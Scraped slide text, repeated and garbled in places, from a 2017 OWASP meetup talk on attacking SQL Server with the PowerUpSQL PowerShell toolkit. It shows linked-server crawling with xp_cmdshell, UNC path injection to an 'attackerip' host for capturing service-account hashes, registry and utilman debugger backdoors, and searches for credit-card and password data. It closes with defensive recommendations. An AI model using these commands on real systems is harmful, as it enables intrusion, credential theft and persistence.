  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 65: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 66: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 67: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

